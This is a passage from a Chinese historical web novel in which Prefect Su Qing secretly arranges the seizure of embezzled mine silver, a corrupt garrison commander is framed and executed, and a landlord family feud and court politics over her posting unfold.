苏酥笑眯眯看着每日来吃饭的冷面捕头,一口一个:“客官常来!” 冷面捕头顿了下,低声道:“不要这么说。” 苏酥捧着刚出锅的糕点,心道为了让你们捕快罩着我,小女子当然要说好听话啊! 捕头拿起点心,深吸口气:“不要随便撩人。” 啊?她撩吗?没有吧- 美食+探案 美食为主,探案为辅 小甜饼 第72章 祝芳洁的腿有点软。 看着原本已经空出来的仓库,里面又堆满物件。 这次的东西,没有那样杂乱,多少便于携带的珠宝首饰。 以及两匣子银票。 还有八箱金银元宝。 原来价值六百万两的金银元宝,也没那样多? 好在她面上还稳得住。 跟柴总兵的手下再点一遍数,正式关上仓库。 看着只是码头附近一个平平无奇的库房,谁能想到里面装了多少东西。 祝芳洁带着众人去了梅娘如今的住处。 因梅娘身边人多,前几个月就搬了出来,就在衙门附近的一处四进院子。 带着朱婶娘,苏三婶母子,还有老家来的人一起住。 此刻这院子里,已经摆上二十多桌席面。 让长途奔波的柴总兵手下饱餐一顿。 通民府来的二十多个青年男女也在里面帮忙。 他们大多都搬出去住了,不过经常有往来,而且口风紧。 让他们帮忙肯定没问题。 只是大家心中也有好奇。 这么多带着刀剑的人,是做什么的? 而且方才已经来了一两百人,这又换了批? 见县令又领着七八人过来,这几个一看就是他们的头头,全都带着笑意。 招呼众人坐下,鸡鸭鱼肉四盘八碗。 饭食并不算精致,但都是实打实的蒸碗大肉。 最后米面上来,每个人都吃的肚子溜圆。 等快走的时候,梅娘把早就准备好衣服鞋子等物全都拿出来。 女儿早就吩咐过,她必不会忘的。 军中之人,正缺这些做好物件。 众人穿戴整齐,再提着几十坛子酒,隐入夜色。 五百精兵到齐后,稍作修整。 众人便往依松县方向赶。 领头的两位副将办事干脆利落。 来得快,去得也快。 他们快到依松县时,还看到从山阳府逃过来的矿工。 这些矿工还不知道,把他们囚禁起来,不把他们当人看的管事太监们,已经命丧黄泉。 此时的山阳府某地客栈内一片狼藉。 赶来的山阳府知府以及本地守备看过后,都不知道从哪里入手。 满地的血污跟尸体。 近百人的队伍,无一人生还。 杀人的凶手目标明确,并不翻这些人私人财物。 只弄走总管太监们的箱子。 “手段残忍,心思歹毒,利欲熏心!”守备怒道。 沈知府看了看他,叹口气:“看来是有人知道这些总管太监们要带财物逃跑,特意在此截获。” 沈知府说完,眼前的守备有些心虚。 但真不是他干的。 他还在犹豫,要不要动手,甚至被这些死太监牵绊住,准备今日,也就是七月二十四再动手。 谁能想到,这些人七月二十三晚上,便命丧黄泉。 看来盯着那些金银的人不在少数。 难道是山阳府内的山贼? 这也有可能。 或者是其他地方的强盗,特意来此截获? 守备想了半天,也没想到隔壁的广乐府。 更想不到是苏清的跟柴总兵联手。 其实沈知府也在猜测。 他确实把消息给了苏清。 可苏清哪来这般厉害的人手,把事情做得格外利落。 而且还在现场留下不少银子,少说也有一二百万两的物件。 还能跟明日过来的钦差梁公公交差。 半日过去,衙门的书吏清理好散落的物件,回道:“知府大人,守备大人。” “那强盗行事匆忙,只带走诸多箱子,这些太监们的贴身金子大多还在。” “不说各色物件,只讲十几人身上的金子,足以折银近二百万两。” 果然。 留的银子,正好给钦差交差,不至于空跑一趟。 沈知府沉默片刻。 苏清手底下能用的人,远比他想象的还要多。 不过已然上了她这条船,就下不来了。 毕竟新来的钦差,似乎跟苏清关系也不错。 但钦差的事先放放,主要应付眼前暴怒的守备。 守备本来就贪财,看到这么多金子,眼睛变得血红。 自己就应该早点动手的! 这么多银子,都是他的啊! 就差那么一点点! 现在看着金银被收尽库房,明日就要交给钦差。 让他心如刀割。 让守备没想到的是,周围不少人都悄然盯着他。 总管太监一行百十来号人,还有不少人功夫不错。 怎么就被杀的干干净净。 看他们身上的刀伤,多半是官刀。 而且人数绝对不少。 能杀的这么干净,还能全身而退。 山阳府内,还有谁能做到? 是不是有点高估山匪盗贼了。 一时间,山阳府守备成为最大嫌犯。 他还在这眼红嫉妒,却没注意到自己被请进府衙后,就被悄然包围。 沈知府冷眼看着他。 自己来这山阳府也有两年时间。 这些人如何肆意妄为自不必说。 府内诸多乱象也有他们的“功劳”。 如此机会,不趁机夺权,那他这官也不必再当。 七月二十五上午。 终于到了山阳府的钦差大臣梁公公勃然大怒。 人怎么就死了! 谁动的他们?! 要说这些管事太监,跟梁公公是有些联系的。 还记得铮王爷来此地清扫叛军,劫走三十多箱财物。 靠的就是梁公公跟此地太监联系。 有着这份交情,梁公公只是想跟管事太监们合作,弄出点银子回京交差,好重得皇上宠信。 哪能想到,他们竟然试图卷带财物逃跑啊。 但来了之后,梁公公明白过来。 这些人贪墨的银子太多,不跑不行。 怪不得那样害怕。 苏清让他过来,怎么也不给个提点。 若知他们贪了这样多钱,自己肯定会提前安抚。 可惜现在说什么都晚了。 这些人已然命丧黄泉,尸体都凉了。 得知他们散落下来的财物,竟然都有二百万两银子时,梁公公惊声道:“多少?!” 没被劫走的财物都有二百万两。 那被劫走的呢?! 这些人糊涂啊! 等着自己过来,难道会死吗?! 梁公公顿了下,可能是会死。 沈知府则给了解释:“他们手头上各个都有人命,在矿场上无法无天惯了,回京也好,留在这里也好,日子都不好过。索性离了去。” 这倒也是。 他们也清楚,苏清不买他们的矿石,也就卖不上价格。 与其被追查,不去跑得远远的。 有叛军逃跑的先例在,他们也能像叛军一样,在沿海一带占岛为王。 日子只会比现在更痛快。 谁还给皇帝当奴仆啊。 给皇帝当奴仆,有什么好处吗? 梁公公更不想说话了。 若他是这些管事公公,大概率也会跑。 皇上天威难测,确实不好伺候。 沈知府只看梁公公一脸叹息,却不提追捕盗贼的事,颇有些惊讶。 发生这种事,钦差不开口追赃追贼吗? 这让他如何往下推进。 梁公公一边心疼那些被人拿走的银子,一边看向广乐府。 这次,会不会还是苏清动的手? 论胆子,她是有的。 但铮王爷不在,谁帮她。 听说新总兵跟地方上一点联系也没有的。 如果是苏清做的,这事肯定不能往下查。 真查到她那,岂不是大水冲了龙王庙。 山阳府衙门谈话这两人。 沈知府急着抓“盗贼”,把苏清的计划一一实行了。 梁公公还要再看看情况,害怕真把苏清抓出来。 双方竟然僵持住,一时不知说些什么。 要不先休息? 沈知府却看了看门外。 就怕守备离开衙门,到时候就难捉住了。 沈知府上前,低声道:“钦差大人,还请下令缉捕盗贼,现在追查,应该好拿人。” “再等下去,就怕对方卷带钱财离开。” 梁公公心道。 我能不明白这些吗。 那不是还要问问苏清。 岂料沈知府又低声道:“下官其实已经知道谁是真正的盗贼。” “那人就在衙门当中,只是他是武官,我乃文职,还是平级,不好动他。” 谁?! 沈知府本来只是试试。 没想到,方才还对缉盗不感兴趣的梁公公,现在立刻打起精神。 “那人是谁?!” “本钦差奉皇上圣旨而来,身边还有侍卫跟随,必然能拿下他!”梁公公兴奋道。 不是苏清?! 那好办了! 他一定要把贼人捉住,看看总管太监们,到底有多少银子! 没记错的话,当年军中做武器,如今做农具。 都是从山阳府矿场买的。 这些钱必然极多的。 他要是把这些钱带回京城。 皇上焉能不信任他。 沈知府见他忽然变了脸,当下没有多想,只想赶紧把事情办完。 只有捉住这守备。 此次计划,才算圆满完成。 “本地守备。”沈知府道,“他跟管事公公们一直有联系,也是他派出人手,监管被囚禁的矿工。” “听说守备知道公公们要卷带财物逃跑,便起了心思。” 说着,沈知府甚至拿上罪证:“仵作验尸,死者都死于官刀。” 能把百十来号人围堵起来,一个不留。 还用的官刀。 除了守备之外,还能有谁?! 梁公公心道,若铮王爷在,也有可能是苏清。 但现在苏清的怀疑大大减少。 那守备嫌疑明显更大。 沈知府跟梁公公对上眼神,抓人! 再逼问赃物在何处! 等守备反应过来,他已经被五花大绑扔到钦差太监面前。 这守备心里暗骂,自己跟这些没根的东西犯冲吗? 以前就跟管事太监合作,他们吃肉,自己喝汤。 现在又被钦差太监不问缘由地捉住。 为什么啊?! “大胆守备!竟然冒充盗贼,抢劫官家财物,还不速速招认!” 守备一脸迷茫。 谁? 他? 他冒充盗贼? 没有啊! 他想做! 但是还没动手,就被人抢先了啊! 见他死活不认,梁公公建议上刑,沈知府却道:“捉贼拿赃,不如去他家看看,是否有赃物。” 此言一出,守备立刻挣扎。 这怎么能行! 他家虽然没有这次的赃物,但有之前的赃款啊! 同样的金元宝,他也有的。 甚至还有往来书信。 他跟手底下商议如何抢钱,如何逃跑的信函! 不对。 这种情况,完全不对劲。 若是找到那些金元宝,他岂不是被“人赃并获”?! 他冤枉啊!!! 但钦差梁公公哪管你这些,直接让身边的侍卫去守备家抄赃物。 结果不言而喻。 在守备家中,找到一箱子金银。 折算下来也有一百五十万两。 这远不是他一个守备能有的家资。 “看吧,你以官充盗,简直罪无可恕。” 守备浑身瘫软。 到底哪里出问题了。 他真的没做! 至少这次真的没做! 怎么就到他头上了。 永晟六年,七月底。 山阳府矿场管事公公集体出逃。 当地守备假扮盗贼杀人越货。 这两个消息,让山阳府一带都有些傻眼。 开什么玩笑啊。 他们疯了吗。 之后传出更多消息。 把矿场跟守备的勾结全都公之于众。 更说这些人,就是为了躲避钦差的追查,没想到被自己人抢了。 事情已然清晰明了。 就是一群贪官污吏内讧。 然后被皇上所派钦差,以及当地知府联合起来,戳穿对方阴谋。 人证物证具在。 甚至还从守备家中搜到来往书信。 信里就是密谋如何抢夺财物。 那些管事公公已死,只能继续追究家人。 守备全家则要押往京城。 同样押往京城的,还有三百万两真金白银。 别问管事太监跟守备家的金银财宝,还有五十万两银子去哪了。 还不是被守备等人挥霍啊! 至于这些人园子宅子充公,自不必说。 都是应该的。 本地几十处矿场也收归知府手里,由沈知府掌管。 钦差梁公公本人,则在八月初三离开。 这次差事做的干脆利落。 人赃并获,处置得当。 故而一行人还未回京。 皇上的夸赞便送了过来,同时对这桩贪污案感到震惊。 不出意外的话。 守备一家,过半都要问斩,他本人更不用说。 家人该流放的流放,该充奴的充奴。 只是守备想不明白。 他真的没做过啊。 难道他做过了,自己给忘了? 不然为什么人赃并获。 看起来毫无破绽?! 沈知府送梁公公等人走时,心里感叹:“死不瞑目,也是活该。” 到此,山阳府这桩大案堪称真相大白,水落石出。 无论谁来看,似乎都没有破绽。 皇上满意。 钦差知府办事得力。 贪污赃款追回。 该死的死,该抓的抓。 除了深处其中,被皇上褒奖的沈知府之外。 最震撼的,还是远在依松县城外的柴总兵。 如果不是他的人参与此事。 柴总兵都要以为,山阳府的案子没有问题。 至于他的人在这里面,只有前期出现了。 他原本还在担心,如果钦差跟知府追赃怎么办,如果皇上一定要捉住贼人怎么办。 还有官刀,也是一个破绽。 现在好了。 只怕从事情开始,就是苏知府策划的。 所谓的破绽,所谓的追赃,也都在人家计划当中。 但要说守备是替罪羊吗? 倒也不完全。 山阳府许多矿工不得反抗,不就是拜他所赐。 还有家里那些赃款,以及原本的计划,也不是假的。 就算没有柴总兵的人带走财物。 这守备自己也会动手的。 唯一的问题是,这把他们摘的也太干净了吧。 凭空消失那么多珠宝首饰名贵衣料,还有六百万现银。 真的没问题啊? 柴总兵现在想到苏清,浑身打了个冷颤。 幸好这女子是个心有百姓,守令爱民的。 否则以她的脑子,必然能搅得天下天翻地覆啊。 “跟这样的人合作,着实安心。”柴总兵心道。 柴总兵还听手下来报。 说越来越多流民从附近经过,去往皋青州。 这些人衣衫褴褛,骨肉如柴,看着像是逃荒的难民。 “不用管他们。”柴总兵把手里的奏章递给下面人,“加急寄到京城。” “再催一催粮饷。” 手下的人并未多想。 也是,大家粮饷都不发了,谁还管什么流民。 不过这次,能要到吗? 听说山阳府那边送过去三百万两赃款? 手下众人兴奋起来。 只有柴总兵却知道,这封奏章依旧是苏知府的意思。 以前朝中没钱,挪用军费。 现在发了笔横财,能想到他们吗? 如果再不给,是不是就不太对了。 柴总兵正想着,内官罗公公来了,他高兴中带点疑惑:“总兵大人,依松县那边又送批粮食,说是最近皋青州跟广乐府往来的车马多,让军中行个方便。” 这其实是个借口。 就是趁机把库房里的银子换成军粮,送到柴总兵手中,好让手底下日子不那么艰难。 罗公公只顾着高兴,没留神柴总兵的表情。 柴总兵心里,自然是五味杂陈的。 若说没有偏向,那就见鬼了。 希望这次送上去的奏章,皇上不会让他们失望吧。 见总兵也同意收下,罗公公简直要喜极而泣。 终于有粮了啊。 再这样下去,他都不知道能不能撑到秋收。 得知柴总兵又给朝廷上书要军费。 罗公公自然也想到那三百万两赃款。 希望皇上能想起他们吧。 种种消息汇集到广乐府府城苏知府手中,苏清没有多讲。 毕竟这事从哪看,似乎都跟她没有半分钱关系。 但她神色难掩轻松。 终于把广乐府多年来,多给出的银子要回来了。 而且跟皋青州矿产的合作极为顺利,更不担心原材料的问题。 那她就更有心情府城的好戏了。 当然,看好戏之前,晏铮州的信件着实扫幸。 自上次晏铮州来信,询问为何改进炼铁技术后,便时不时有信件秘密送来。 苏清一封都没有回,但看还是看的。 这封信开篇就是:“你跟新总兵合作?” 此话没头没尾的。 但意思很明白。 觉得苏清故技重施,跟柴总兵弄走山阳府那边的银子。 区别就在于。 当年他们合作的时候,苏清手笔有些粗糙。 如今已然天衣无缝。 开篇即结束。 苏清反复看看,信里只这一句话。 苏清提笔回复一个字:“嗯。” 信件折好送出去。 云喜绿兰都看得傻眼。 他们俩年纪虽然大了些,但还是看不懂里面的暗潮涌动。 这兄妹俩嘀咕半天,也没个结论,最后讨论起广乐府府城内的八卦。 那就是的府城花家的事。 广乐府花家,鼎鼎有名的门户的,说是富甲一方也不为过。 而且这几年乐善好施,颇有些贤名,对手底下佃户还不错。 他家三个孩子。 老大老三都是男子,为如今的续弦夫人所生。 老二是女子,早些年嫁人,不过夫君在外做守备,她帮着娘家打理家业,由原配夫人所生。 只听这些话,就知道他家情况不一般。 好在花老爷厉害,子女都听他的话。 老大虽平庸,却也占个长子的名头,跟二女儿一起经营产业,双方互有竞争,一心只想发展花家产业。 老三读书厉害,今年会试考上进士,更是殿试第五的好成绩。 这一家子怎么看怎么好。 再者,人家还跟苏知府关系不错。 更有传言,花老爷想撮合小儿子跟苏知府。 那顾家夫妇不长眼,退了这门婚事。 花老爷立刻想接上。 此话传顾家夫妇耳朵里,也是好长时间不言语。 要说没有后悔,自是假的。 他们脸上本就难堪,花老爷放出口风,让他们愈发没脸。 他们儿子是状元,肯定还会有更好的前程。 这些人可恶的厉害,竟上门奚落。 本来一切顺风顺水的花家,如今却有了大乐子。 原本一直在娘家做事的花家二小姐。 竟然趁着更换矿料产地的间隙,又用敛田地铺子的名义打掩护。 实际上直接把花家的生铁作坊搬空了。 人家直接另起炉灶,自己建了个新作坊,继续加工生铁。 府衙那边无所谓,只要有生铁送到武器作坊即可。 而且花家二小姐的作坊里,都是熟悉的人,连磨合的时间都省了。 花家二小姐这新作坊,用着皋青州的便宜矿料。 武器作坊那边又说有多少货他们要多少货。 但凡做过买卖的,都知道这是源源不断的收入了。 开张第一日,就可以持续盈利。 花又菱是高兴了。 但家里其他人闹翻天。 指的便是花家老大花承载。 花家老大早就骂翻天了,说什么女生外向,就会从家里偷东西。 说什么让她滚出广右县,这里都是花家产业。 更带着一帮子人,要去把新作坊砸个稀巴烂。 广右县大大小小许多庄子,都是花家的产业,花承载一声令下,无数佃户家丁都要跟上。 当时就把花又菱的新作坊围得团团转。 可花又菱怎么是好欺负的,先不说她那里也有上百伙计。 她还从相公那里要来二十士兵,就立在作坊门前,看谁敢砸。 面对花承载的辱骂,花又菱冷静道:“我凭什么滚出广右县,这里到底是顺昌国地盘,还是花家的地盘?” 若花老爷在这,肯定能听出里面的问题。 但他今日没有出现,只让大儿子来试试深浅。 可花承载听到这话,梗着脖子道:“当然是花家的!这里八成土地都是花家的!这些佃户也是花家的!你这作坊左右,那里不是花家的?!” “识相就让看,看在你也姓花,也给花家办了那么多年差的份上,老子不打你。” “本官不知,广右县竟是花家的地界。” 只见本地县令施施然而来,他身后跟着书吏差役,神情严肃。 府城左右两县,大半土地都是花家的。 故而有什么大事小情,花家先处理,很少去报官府。 所有广右县广左县的县令,存在感都很弱。 现在突然出现,大家有些陌生。 但到底是官,众人只得行礼。 县令直接道:“听说有人纠结佃户的,想要闹事。” 县令看向花承载身后几百佃户,厉声道:“来吧,把这恶徒捆绑起来,去衙门回话。” 谁? 捆谁?! 花承载长这么大,从未受过这种委屈! 他立刻手底下人去拦,更让佃户们冲上去。 但佃户们却看着官差,看了看少爷,直接往后退了几步。 他们又不蠢,何必为主人家拼命。 以前拼命,是为了有口饭吃,是害怕主人家被报复。 现在有苏大人撑腰,谁冲前头啊。 自己不要命,家人也不要吗。 能站在这里已经不错了。 县令看向他们,直接道:“你们这些佃户,不好好种地,跟着凑什么热闹,马上就秋收了,地里没活吗?” 被县令这样讲,众人一哄而散,根本不管什么花家大少爷。 花承载脸色被气急了,竟然直接骂道:“苏清!一个没廉耻的,竟然挑唆人至此!” 这是花承载早就想骂的。 因为他爹说过了,花又菱能开起新作坊,绝对不是她一个人的能力。 而把山阳府的矿产换成皋青州的,更是苏清提前布置。 所以,也就一个可能。 新作坊这事从头到尾,都是苏清的主意。 如今这些佃户敢不听他的话,更是苏清的原因。 不是她给在背后撑腰,这些佃户敢走吗?! 谁料方才要走的佃户直接回头:“你骂谁呢?!” “对啊,你骂谁呢?!” “我们怎么就被挑唆了,苏大人怎么就没廉耻了?!” 说他们就算了,反正早已习惯。 为什么要扯上苏大人啊。 就是苏大人给他们的底气,怎么了。 原本站在他身后的佃户们调转方向,开始责问花承载。 花承载前面是花又菱跟新作坊的伙计们。 背后是群情激奋的佃户。 旁边还有要捆他的差役。 花承载腿一软,直接被人捆着带回衙门。 一直到花老爷来领他,这才把人放了。 毕竟没闹出真正的大事,不能关押太久。 人家还有个进士弟弟,不看僧面看佛面。 花老爷阴沉着脸,远远看了新作坊一眼。 花又菱一直没出现,她作为“苦主”既没递状纸,也没说情。 送县令回衙门后,重新回到作坊里面做事。 花老爷过来,也只当不知。 如今已经撕破脸皮,何必管那么多。 这件事后,花又菱跟花家的矛盾继续升级。 抢铺子,查账,找内鬼。 花老爷本来还想遮掩,可事情一步步严重,他也遮掩不动,就差亲自站出来跟女儿斗法。 因为大儿子斗不赢二女儿。 小儿子又远在京城。 但他要是站出来。 这就太难看了。 花老爷几乎怨恨地盯着府衙。 自苏清当知府后,知道她的行事作风,便主动整顿花家,也算干干净净清清白白。 她对佃户好,那他们花家就听令。 她要买卖公平,也没问题。 之后花家生产铁料,更是垫出两三百万两银子。 就算这样,还满足不了她的胃口。 一定要把苏家拆分了才行? 花老爷对大儿子道:“生铁作坊必须拿回来。” “但不用着急。” 不着急? 怎么能不急啊。 花承载道:“如今那作坊的伙计都听花又菱,不着急怎么行。” 花老爷看他一眼,呵斥一句,让他沉住气:“这是苏清在广乐府第三个年头了。” 到八九月份,正好三年。 都说强龙不压地头蛇。 这些当官的,早晚都要走,等他们一走,花家就能恢复如初。 如今不过暂时忍耐罢了。 “一笔笔都记下来,让那些佃户,伙计,还有我的好女儿,知道谁才是广乐府的主人。”花老爷很少放狠话。 他虽放权给子女,但核心权力从未松手。 此时说这些,已然是真的恼怒。 花承载还是愤愤不平:“您还想让她嫁给小弟,怎么想的啊。” 能怎么想。 还不就是怕这一日到来。 想把她变成自己女人,不再生事。 可人家似乎看出来了。 根本不搭腔。 反而空费小儿子的心思。 花老爷道:“最近的事,有没有告诉你小弟。” “告诉了。”花承载道,“让手底下如实写信告知。” 花老爷还是不放心,又让人去送信。 总之一个目的,让花景明去劝,他们之间感情纯粹,就算不成亲,也有之前的交情。 再者,让花景明在京城打探消息,看看苏清什么时候调走。 花家有的是时间。 苏清可没有。 可惜广乐府其他人了。 原本以为花家内部能撕得更响亮些。 谁料他家竟然偃旗息鼓,暂时没声响了。 花又菱有些诧异。 本以为她爹会亲自出手,如今怎么回事。 苏清不答,只让她好好经营作坊即可。 而她家打的什么主意,苏清怎么可能不知道。 但她既然做了,就不会松手。 无非是把战场转到另一边。 苏清跟山阳府沈知府通信,得知他已经拿稳下面矿场。 等他们那边恢复正常,也能向广乐府供货。 自从武器作坊改进了炼铁技术,锻钢炼铁快了不止一倍。 吃得下两个地方的矿产。 另一个跟柴总兵来往越来越多。 南江县那边又送去一批物资,还有一批农具。 十六万驻军的日子,终于没那样艰难。 可柴总兵依旧在等京城的消息。 苏清让他尽管等,甚至在信里道:“若朝廷能拨款,自是最好的。” 这话听起来,怎么那样怪异? 苏清心道,她说这话时,是摸着良心讲的啊。 朝廷拨军费,能不好吗? 但此时的京城朝廷。 完全没有理会军费的事。 自八月初三,梁公公押着三百万两银子进京。 朝廷便在盘算这笔银子要怎么用。 六部为这事都要打起来了。 兵部意见最多,一个是广乐府的驻军,二是海上防御等等。 但户部吏部礼部都有话要说。 尤其是礼部,说皇上登基六年,应该开始修皇陵了。 这并非咒皇上死,而是古人事死如事生,越早修建皇陵就意味着修建的更好跟尊贵。 像先皇那会,登基第一年就在修皇陵了。 工部对此很是赞同,还有太后娘娘的墓室同样可以扩建云云。 先皇在时,太后只是妃子,修建的墓室太小。 如今贵为太后,依照礼制需要扩建。 目前来说,就这两件事争论的最为激烈。 等八月十三,梁公公终于把银子以及山阳府守备押到京城。 那守备直接斩首示众。 而大部分银子归到工部礼部,给太后皇上修建墓室。 梁公公这种贪财的人都眼前一黑。 广乐府那边也分了些,拨了二十万两银子过来。 做过军中内臣的梁公公齐内官他们,对军中也算了解。 二十万两银子,还不够军中四个月的花销。 而且这银子也不是直接拨过去,是采买成物资送到广乐府。 等他们采买好,再送过去。 都要到年底了吧? 梁公公都忍不住劝。 这怎么能行,那可是军队啊。 皇上自然知道那是军队,但他道:“那边已经没有战事,朕早说过了让士兵们卸甲归田。” 依照他看,天下之乱,就在于兵祸。 若兵祸少了,也就太平了。 那十六万驻军始终是他心头之患。 顺昌国如此情况,实在供养不起。 皇帝顿住,要是能让广乐府出现,大概率没问题。 只是他并不信任那苏清。 皇上盯着梁公公,他为什么要替驻军说话。 有什么目的。 梁公公见皇上变了脸色,立刻改口:“皇上英明,就该让他们回家的。” 出了勤政殿,梁公公头上都是汗水,正好碰到孙公公过来。 一向针锋相对的孙公公见他回来,竟然松了口气。 问了其他人才知道。 皇上近来总是梦中惊醒。 好像是想到三年前被叛军赶走时的场景,以及逃往金陵的经历。 那段时间,既有追兵,还无银钱。 简直成了皇上心中梦魇。 让他对银钱极为看重,对士兵极为厌恶。 甚至今年春天京郊练兵,都是兴致缺缺,根本不去看,也没什么夸赞。 铮王爷那边,完全卸去兵权,彻底赋闲在家,听说去山里打猎,基本不出门。 梁公公一时迷茫。 这样的皇上,到底应该怎么伺候。 算了,反正他手头的银子足够修缮外宅的了。 只是要低调些,不能让皇上知道。 朝中关于这笔银钱的使用,震惊的不止梁公公。 还有翰林院这些翰林,也就是新科进士们。 读书是为做官,这点大家都不否认。 但他们当中也有不少真的想为国家百姓做事的。 比如最为愤怒的祁安平。 他会试殿试成绩都一般,但在庶吉士考试时,依旧进了翰林院,身边也有不少人追随者。 他忍不住道:“这样实在荒唐,有钱了不发军费,一味裁军,要是再有叛军闹事怎么办?” “还有各地土匪横行,为何不能让军中剿匪。” 其他翰林心道,肯定不行啊。 驻军就够费钱的了,剿匪岂不是掏空国库。 “让我说,就该让百姓休养生息,好好种地,等国库充盈了,再让军中剿匪。”另一目光清澈的人道。 还有个新科进士看他:“休养生息?好好种地?百姓手中都无田地了,如何种地,给谁种地。” 顾从斯没有说话,却看向心神不宁的花景明。 花景明似乎被这话刺激道:“百姓手中怎么会没有土地。” 怎么会没有? 祁安平嘴唇微动。 你家良田千顷,自然是有地的。 放在平时,花景明不会说这种自讨没趣的话。 他扶了扶帽子。 想到家里最近的信件。 苏清,竟然真的对花家动手了。 她是看不惯地主乡绅的。 花家又是广乐府最大的地主。 对于这点,不管他爹还是他,心里都有准备。 所以花家改变往日作风。 甚至赊下二三百万两的货款,也是想“将功赎罪”。 在花景明看来,如府衙,或者说苏清还不起这笔银子,反倒是好事。 确实会让花家亏些银子。 但能保住大部分田产。 对于花家而言,其他买卖铺面都是虚的。 只有两个县的土地是真的。 可是苏清还了,一笔一笔的全都还干净。 但花景明想说,自己对她的心意,跟这些事情没有关系。 他是真的喜欢苏清,喜欢她的聪明果决。 她就是苏鹤鹤。 本以为等自己做了官,事情能有所缓和,他也能从中周旋。 现在看来。 苏清就是要在他成为真正的官员前,把花家事情一并解决。 二姐竟然也是她的棋子。 “花景明。” “花景明。”祁安平道,“你觉得呢,朝廷能从大地主家收到税吗。” “大地主家里,是不是有无数种避税的方法。” 顾从斯看向他,脸上带着看戏的表情。 惠容则有些犹豫,不想让大家吵起来。 花景明回过神,挑眉笑道:“能啊,为何不能。” “大地主家里不仅交税,还能办佃户渡过灾年,给他们一个安身之处。” 顾从斯忽然笑出声,从这次讨论中抽身。 自己也是高看花景明了。 他竟然想在苏清和家里之间平衡关系。 也是好笑。 苏清多半也不相信花景明的选择,故而早就放弃这条路。 选择自己动手。 “别打了!” “祁进士!你疯了吗!” “快把他们拉开!” “花景明你怎么回事,你还手就算了,怎么打的这样狠。” 祁安平听不得花景明的话。 他们最近的矛盾越来越多,他跟惠容早就从花景明家里搬出来。 花景明也没好到哪去。 想到苏清对花家毫不留情,对自己也没有半点情谊。 以及花家如今的处境,他便满头火。 两个人一言不合,直接拳脚相向。 顾从斯站在门外,有点无语又有点想扶额。 不怪他们两人,不管是谁,如今心里都带着火。 一心为国的,痛心顺昌国的处境。 一心为百姓的,不知如何救民于水火。 一心为自家的,也知道覆巢之下无完卵。 而他们这些书生,只能在这里空谈。 顺昌国好像真的没救了。 唯一有救的地方。 唯一还有希望的地方,是广乐府。 顾从斯走进翰林院,拉开祁安平跟花景明。 等花景明离开后,顾从斯对祁安平道:“咱们这些新科进士,很快就要派官了。” “各地官职都会有变动。” “你我,还有广乐府同乡会,要确保苏清留在广乐府,继续当知府。” “听到了吗。” 而花景明的目的只有一个。 让苏清离开广乐府。 他总不能看着她,真的拆了自家根基。 他不是要害苏清。 只是要保护自己的家人。 无论自家怎么争斗,那都是自己家人,花家百年基业,不能毁在他们三人手里。 换个地方,苏清依旧能有所作为,说不定能给另一个地方的人,也带来太平。 不过双方刚开始行动。 吏部就传来消息。 让他们这几个刚进官场的人,有些措手不及。 以他们如今的本事,既帮不到苏大人,也害不到苏大人。 广乐府知府的位置不用再打听了。 苏清职位不动。 依旧由她做广乐府知府,此为皇上口谕。 这是怎么了? 为什么会这样? 皇上,不是最想换掉苏清吗?! 放在皇上案前的奏章,正是他信任的柴总兵所写。 柴总兵对二十万军饷尤为感激。 只是上半年的欠饷真的不能再拖。 能解决这个问题的。 只有广乐府苏清了。 皇上对苏清的能力心里有数,更知道她绝对嘴上不愿意,也不会亏待士兵。 除此之外,苏清还有个更大好处。 这事其他人都不知道,她要对付广乐府最大的地主花家。 那花家花老爷不是个好东西。 当初朕在金陵何其艰难。 让他捐点银子,死活不松口。 听到梁公公提起,皇上难免想起那时候的事。 现在好了,苏清要查办他家。 不知又能搜出多少银子。 既然这样,让她再留一段时日又如何。 花家这块肥肉。 朝廷吃定了。 梁公公在广乐府待过,说花家家产何止千万。 甚至府城两县八成土地,都是他家的,甚至还大言不惭,说这是他们家的地界。 俨然就是土皇帝。 苏清收到吏部文书,丝毫不意外。 她都说了。 她不会把广乐府拱手让人的。 而柴总兵的信件,同样在桌子上。 信里对苏清只有感激。 接下来,十六万驻军的粮饷就靠她了。 苏清算了算时间。 等秋收过后。 通民府的麻烦,也该解决干净。 之前恐吓当地大户乡绅,治标不治本。 现在,总要派些人手过去,根除那些顽疾了。 第73章 苏清留任广乐府。 京城一干等人很是失望。 天底下的好位置就那么多,如今广乐府算一个。 竟然让她留任,还是皇上开的口,大家只能遗憾。 不过随之而来的,则是家里有新科进士的人户。 既然苏清还留在那。 不如把自家子侄塞过去? 广乐府太平,又有苏清在上面把持着,不求什么政绩,但总好过去其他地方。 抱着这样想法的人家不止一户。 吏部本来就烦。 现在更烦了。 吏部尚书也安排了几个学生子侄去广乐府。 只这样还不够。 广乐府不少官吏,任期都满了的。 像当地王学政等人,下面好几个县令,都要挪动挪动。 尤其是学政之位。 苏清管辖下的府学,吏治清明,里面的学生也是有真才实学的。 冲着政绩的人,自然想过去。 冲着学生水平的,也想过去。 故而竞争极为激烈。 以至于王学政那边都听说了。 他收到京城来的信件,急急忙忙来找苏大人。 但苏知府书房里围满了人。 绝大多数都是恭喜大人还能留任的。 这也证明皇上的信任。 他们的心终于能放到肚子里了。 还有一部分同王学政一样着急。 他们的调令马上就要下来。 接下来去哪,还是前途未卜。 苏大人,能不能帮帮忙啊。 苏清已经不是刚开始做官那会。 现在在京城颇有些人脉关系。 大家都觉得,她能留任,跟这些人脉肯定有联系。 所以求到她面前。 苏清一一见了众人,等他们出门时,表情明显好了很多,而且脸上斗志昂扬。 王学政摸不着头脑,心道,苏大人真有办法吗? 不过其他人的官职都不高,全都好安排。 他如今这职位,却是尴尬啊。 如果去其他地方做学政,都是正五品,相当于平调。 但其他地方能有广乐府好吗? 哪里是平调,分明是降职。 那去其他地方,做个政务官员? 放在太平时候,肯定比这个学官好。 但现在? 可别了啊。 实在要他老命。 到时候地方上要钱,佃户们时不时闹事,说不定还起个叛军。 皇上那边也要钱。 他怎么办啊? 他有这个能力吗。 就算有能力,他有那个靠山吗? 所以想来想去,真的想留下。 王学政心里忐忑,想让苏大人帮忙说说情。 而且他的差事做的不错啊。 如今府学的学生们,哪个不是有真才实学的?哪个不是贫家子弟?其他学科的学生,同样都有真本事。 夫子更不用说,不是学富五车的夫子,他都不要的。 前段时间,他甚至还主动招女秀才进府学啊。 都不用苏大人开口,这事都办妥了的。 看在他这么用心的份上,留他一下? 云喜见他说的唾沫都干了,又给王学政续茶。 但苏清的回答却让他直接塌下肩膀。 “我那边的消息说,广乐府学政的人选已经定下来了。” 啊? 这都定下来了。 “谁啊。”王学政无奈。 